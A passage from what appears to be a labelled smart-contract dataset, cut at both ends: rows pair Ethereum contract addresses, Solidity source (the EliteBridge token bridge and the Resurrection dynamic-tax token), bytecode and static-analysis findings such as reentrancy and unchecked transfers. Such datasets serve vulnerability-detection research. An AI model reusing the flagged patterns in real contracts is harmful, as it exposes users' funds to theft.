9601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136cb816131d7565b81146136d657600080fd5b50565b6136e2816131e9565b81146136ed57600080fd5b50565b6136f981613215565b811461370457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220774711125d1bdfe2b6676101085d1321aa7acb6ab8c2b741bbdcc0352cb78e9564736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 309 |
0x08a0b014d4ee03cc1ebbbd59e37e6abee2ecc6c5 | /**
*Submitted for verification at Etherscan.io on 2022-04-25
*/
pragma solidity 0.8.7;
// SPDX-License-Identifier: Unlicensed
pragma abicoder v2;
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toETHSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECDSA: invalid signature 's' value");
}
if (v != 27 && v != 28) {
revert("ECDSA: invalid signature 'v' value");
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an ETHereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ETHereum/wiki/wiki/JSON-RPC#ETH_sign[`ETH_sign`]
* JSON-RPC mETHod.
*
* See {recover}.
*/
function toETHSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
contract EliteBridge is Ownable {
struct userDetails {
uint amount;
address token;
uint lastTransaction;
}
// ECDSA Address
using ECDSA for address;
address public signer;
bool public lockStatus;
event SetSigner(address indexed user,address indexed signer);
event Deposit(address indexed user,uint amount,address indexed token,uint time);
event Claim(address indexed user,address indexed token,uint amount,uint time);
event Fallback(address indexed user,uint amount,uint time);
event Failsafe(address indexed user, address indexed tokenAddress,uint amount);
mapping(bytes32 => bool)public msgHash;
mapping(address => mapping(address => userDetails))public UserInfo;
mapping (address => bool) public isApproved;
constructor (address _signer) {
signer = _signer;
}
/**
* @dev Throws if lockStatus is true
*/
modifier isLock() {
require(lockStatus == false, "Elite: Contract Locked");
_;
}
modifier isApprove(address _token){
require(isApproved[_token],"Un approve token");
_;
}
/**
* @dev Throws if called by other contract
*/
modifier isContractCheck(address _user) {
require(!isContract(_user), "Elite: Invalid address");
_;
}
function addToken(address _tokenAddress,uint _amount) public onlyOwner {
require(_amount > 0,"Invalid amount");
IERC20(_tokenAddress).transferFrom(msg.sender,address(this),_amount);
}
receive()external payable {
emit Fallback(msg.sender,msg.value,block.timestamp);
}
function approveTokenToDeposit(address _tokenAddress, bool _approveStatus) external onlyOwner {
isApproved[_tokenAddress] = _approveStatus;
}
function deposit(address _tokenAddress, uint _amount)public isLock isApprove(_tokenAddress){
require (_amount > 0,"Incorrect params");
userDetails storage users = UserInfo[msg.sender][_tokenAddress];
IERC20(_tokenAddress).transferFrom(msg.sender,address(this),_amount);
users.token = _tokenAddress;
users.amount = _amount;
users.lastTransaction = block.timestamp;
emit Deposit(msg.sender,_amount,_tokenAddress,block.timestamp);
}
function claim(address _user,address _tokenAddress,uint amount, bytes calldata signature,uint _time) public isLock isApprove(_tokenAddress) {
//messageHash can be used only once
require(_time > block.timestamp,"signature Expiry");
bytes32 messageHash = message(_user, _tokenAddress,amount,_time);
require(!msgHash[messageHash], "claim: signature duplicate");
//Verifes signature
address src = verifySignature(messageHash, signature);
require(signer == src, " claim: unauthorized");
IERC20(_tokenAddress).transfer(_user,amount);
msgHash[messageHash] = true;
emit Claim(_user,_tokenAddress,amount,block.timestamp);
}
/**
* @dev ETHereum Signed Message, created from `hash`
* @dev Returns the address that signed a hashed message (`hash`) with `signature`.
*/
function verifySignature(bytes32 _messageHash, bytes memory _signature) public pure returns (address signatureAddress)
{
bytes32 hash = ECDSA.toETHSignedMessageHash(_messageHash);
signatureAddress = ECDSA.recover(hash, _signature);
}
/**
* @dev Returns hash for given data
*/
function message(address _receiver, address _tokenAdderss ,uint amount,uint time)
public pure returns(bytes32 messageHash)
{
messageHash = keccak256(abi.encodePacked(_receiver, _tokenAdderss,amount,time));
}
// updaate signer address
function setSigner(address _signer)public onlyOwner{
signer = _signer;
emit SetSigner(msg.sender, _signer);
}
function failsafe(address user,address tokenAddress,uint amount)public onlyOwner{
if(tokenAddress == address(0x0)){
payable(user).transfer(amount);
}else {
IERC20(tokenAddress).transfer(user,amount);
}
emit Failsafe(user, tokenAddress,amount);
}
function checkBalance()public view returns(uint){
return address(this).balance;
}
/**
* @dev contractLock: For contract status
*/
function contractLock(bool _lockStatus) public onlyOwner returns(bool) {
lockStatus = _lockStatus;
return true;
}
/**
* @dev isContract: Returns true if account is a contract
*/
function isContract(address _account) public view returns(bool) {
uint32 size;
assembly {
size:= extcodesize(_account)
}
if (size != 0)
return true;
return false;
}
} | 0x6080604052600436106101185760003560e01c8063796d76d0116100a0578063d35c388811610064578063d35c3888146103a5578063daca6f78146103c5578063f2fde38b146103e5578063f7dafe6714610405578063f9a7ea371461042557600080fd5b8063796d76d0146102c15780638da5cb5b14610334578063a478656b14610352578063af81c5b914610372578063c71daccb1461039257600080fd5b80633e89340f116100e75780633e89340f1461021b57806347e7ef241461023c578063673448dd1461025c5780636c19e7831461028c578063715018a6146102ac57600080fd5b8063162790551461015e578063238ac9331461019357806333578f1e146101cb57806338d1a208146101f957600080fd5b36610159576040805134815242602082015233917f5115e4a7d07906aaa4680b7f5e3c5b1c010378ab8ebfd649f4b6969a641c9326910160405180910390a2005b600080fd5b34801561016a57600080fd5b5061017e610179366004611121565b610455565b60405190151581526020015b60405180910390f35b34801561019f57600080fd5b506001546101b3906001600160a01b031681565b6040516001600160a01b03909116815260200161018a565b3480156101d757600080fd5b506101eb6101e6366004611258565b610477565b60405190815260200161018a565b34801561020557600080fd5b50610219610214366004611176565b6104d1565b005b34801561022757600080fd5b5060015461017e90600160a01b900460ff1681565b34801561024857600080fd5b506102196102573660046112d1565b610624565b34801561026857600080fd5b5061017e610277366004611121565b60046020526000908152604090205460ff1681565b34801561029857600080fd5b506102196102a7366004611121565b61082e565b3480156102b857600080fd5b506102196108a4565b3480156102cd57600080fd5b506103116102dc366004611143565b600360209081526000928352604080842090915290825290208054600182015460029092015490916001600160a01b03169083565b604080519384526001600160a01b0390921660208401529082015260600161018a565b34801561034057600080fd5b506000546001600160a01b03166101b3565b34801561035e57600080fd5b5061017e61036d3660046112fb565b610918565b34801561037e57600080fd5b5061021961038d3660046112d1565b610961565b34801561039e57600080fd5b50476101eb565b3480156103b157600080fd5b506102196103c03660046111b2565b610a57565b3480156103d157600080fd5b506101b36103e036600461134e565b610d4c565b3480156103f157600080fd5b50610219610400366004611121565b610dba565b34801561041157600080fd5b5061021961042036600461129a565b610ea4565b34801561043157600080fd5b5061017e610440366004611335565b60026020526000908152604090205460ff1681565b6000813b63ffffffff81161561046e5750600192915050565b50600092915050565b6040516bffffffffffffffffffffffff19606086811b8216602084015285901b1660348201526048810183905260688101829052600090608801604051602081830303815290604052805190602001209050949350505050565b6000546001600160a01b031633146105045760405162461bcd60e51b81526004016104fb90611409565b60405180910390fd5b6001600160a01b03821661054e576040516001600160a01b0384169082156108fc029083906000818181858888f19350505050158015610548573d6000803e3d6000fd5b506105d2565b60405163a9059cbb60e01b81526001600160a01b0384811660048301526024820183905283169063a9059cbb90604401602060405180830381600087803b15801561059857600080fd5b505af11580156105ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d09190611318565b505b816001600160a01b0316836001600160a01b03167f7b3352aeeefcde82f16d859c95083a7ad9159aa38a22bcb1685b0eabc5ee858b8360405161061791815260200190565b60405180910390a3505050565b600154600160a01b900460ff16156106775760405162461bcd60e51b8152602060048201526016602482015275115b1a5d194e8810dbdb9d1c9858dd08131bd8dad95960521b60448201526064016104fb565b6001600160a01b038216600090815260046020526040902054829060ff166106d45760405162461bcd60e51b815260206004820152601060248201526f2ab71030b8383937bb32903a37b5b2b760811b60448201526064016104fb565b600082116107175760405162461bcd60e51b815260206004820152601060248201526f496e636f727265637420706172616d7360801b60448201526064016104fb565b3360008181526003602090815260408083206001600160a01b03881680855292529182902091516323b872dd60e01b815260048101939093523060248401526044830185905290916323b872dd90606401602060405180830381600087803b15801561078257600080fd5b505af1158015610796573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ba9190611318565b506001810180546001600160a01b0386166001600160a01b03199091168117909155838255426002830181905560405133917fd2f8022f659fd9c8c558f30c00fd5ee7038f7cb56da45095c3e0e7d48b3e0c4b9161082091888252602082015260400190565b60405180910390a350505050565b6000546001600160a01b031633146108585760405162461bcd60e51b81526004016104fb90611409565b600180546001600160a01b0319166001600160a01b03831690811790915560405133907f3271c8694494a7cc76cd185c743e9ee6b515a043ea98c0db7f5ca112f694add490600090a350565b6000546001600160a01b031633146108ce5760405162461bcd60e51b81526004016104fb90611409565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600080546001600160a01b031633146109435760405162461bcd60e51b81526004016104fb90611409565b506001805460ff60a01b1916600160a01b831515021781555b919050565b6000546001600160a01b0316331461098b5760405162461bcd60e51b81526004016104fb90611409565b600081116109cc5760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908185b5bdd5b9d60921b60448201526064016104fb565b6040516323b872dd60e01b8152336004820152306024820152604481018290526001600160a01b038316906323b872dd90606401602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a529190611318565b505050565b600154600160a01b900460ff1615610aaa5760405162461bcd60e51b8152602060048201526016602482015275115b1a5d194e8810dbdb9d1c9858dd08131bd8dad95960521b60448201526064016104fb565b6001600160a01b038516600090815260046020526040902054859060ff16610b075760405162461bcd60e51b815260206004820152601060248201526f2ab71030b8383937bb32903a37b5b2b760811b60448201526064016104fb565b428211610b495760405162461bcd60e51b815260206004820152601060248201526f7369676e61747572652045787069727960801b60448201526064016104fb565b6000610b5788888886610477565b60008181526002602052604090205490915060ff1615610bb95760405162461bcd60e51b815260206004820152601a60248201527f636c61696d3a207369676e6174757265206475706c696361746500000000000060448201526064016104fb565b6000610bfb8287878080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250610d4c92505050565b6001549091506001600160a01b03808316911614610c525760405162461bcd60e51b81526020600482015260146024820152730818db185a5b4e881d5b985d5d1a1bdc9a5e995960621b60448201526064016104fb565b60405163a9059cbb60e01b81526001600160a01b038a811660048301526024820189905289169063a9059cbb90604401602060405180830381600087803b158015610c9c57600080fd5b505af1158015610cb0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd49190611318565b5060008281526002602052604090819020805460ff19166001179055516001600160a01b03808a1691908b16907f865ca08d59f5cb456e85cd2f7ef63664ea4f73327414e9d8152c4158b0e9464590610d39908b904290918252602082015260400190565b60405180910390a3505050505050505050565b600080610da6846040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c8101829052600090605c01604051602081830303815290604052805190602001209050919050565b9050610db28184610ef9565b949350505050565b6000546001600160a01b03163314610de45760405162461bcd60e51b81526004016104fb90611409565b6001600160a01b038116610e495760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104fb565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610ece5760405162461bcd60e51b81526004016104fb90611409565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b60008151604114610f4c5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e6774680060448201526064016104fb565b60208201516040830151606084015160001a7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0821115610fd95760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b60648201526084016104fb565b8060ff16601b14158015610ff157508060ff16601c14155b156110495760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b60648201526084016104fb565b6040805160008082526020820180845289905260ff841692820192909252606081018590526080810184905260019060a0016020604051602081039080840390855afa15801561109d573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166111005760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e6174757265000000000000000060448201526064016104fb565b9695505050505050565b80356001600160a01b038116811461095c57600080fd5b60006020828403121561113357600080fd5b61113c8261110a565b9392505050565b6000806040838503121561115657600080fd5b61115f8361110a565b915061116d6020840161110a565b90509250929050565b60008060006060848603121561118b57600080fd5b6111948461110a565b92506111a26020850161110a565b9150604084013590509250925092565b60008060008060008060a087890312156111cb57600080fd5b6111d48761110a565b95506111e26020880161110a565b945060408701359350606087013567ffffffffffffffff8082111561120657600080fd5b818901915089601f83011261121a57600080fd5b81358181111561122957600080fd5b8a602082850101111561123b57600080fd5b602083019550809450505050608087013590509295509295509295565b6000806000806080858703121561126e57600080fd5b6112778561110a565b93506112856020860161110a565b93969395505050506040820135916060013590565b600080604083850312156112ad57600080fd5b6112b68361110a565b915060208301356112c681611454565b809150509250929050565b600080604083850312156112e457600080fd5b6112ed8361110a565b946020939093013593505050565b60006020828403121561130d57600080fd5b813561113c81611454565b60006020828403121561132a57600080fd5b815161113c81611454565b60006020828403121561134757600080fd5b5035919050565b6000806040838503121561136157600080fd5b82359150602083013567ffffffffffffffff8082111561138057600080fd5b818501915085601f83011261139457600080fd5b8135818111156113a6576113a661143e565b604051601f8201601f19908116603f011681019083821181831017156113ce576113ce61143e565b816040528281528860208487010111156113e757600080fd5b8260208601602083013760006020848301015280955050505050509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052604160045260246000fd5b801515811461146257600080fd5b5056fea2646970667358221220766deef71eb3a99ce909c5e2b4cfe97cf5fbcd7c489e72450e64eb6eace4ada664736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 310 |
0x477becd394189a6e582921a9325ae16dba9c06d1 | /**
*Submitted for verification at Etherscan.io on 2022-04-16
*/
/**
* Resurrection - $RISEN
*
* https://t.me/ResurrectionETH
*
* Resurrection : An instance of coming back into use or importance
*
* Easter Sunday marks the resurrection of Jesus Christ after being crucified
*
* Time for erc20 plays to resurrect from the dead.
*
* Resurrection has no sale limitations, which benefits whales and minnows alike, and an innovative dynamic reflection tax rate which increases proportionate to the size of the sell.
*
* TOKENOMICS:
* 1,000,000,000,000 token supply
* Renounced before launch
* Lock before launch
* Deployer can only call function opentrading() only once to go live
* FIRST FIVE MINUTES: 5,000,000,000 max buy / 45-second buy cooldown (these limitations are lifted automatically five minutes post-launch)
* 15-second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS
* No buy or sell token limits. Whales are welcome!
* 10% total tax on buy
* Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT.
* No team tokens, no presale
* A unique approach to resolving the huge dumps after long pumps that have plagued almost every token
*
*
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Resurrection is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Resurrection";
string private constant _symbol = unicode"RISEN";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 4;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
address private deployer;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
deployer = _msgSender();
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(6)).div(10);
_teamFee = (_impactFee.mul(4)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 6;
_teamFee = 4;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
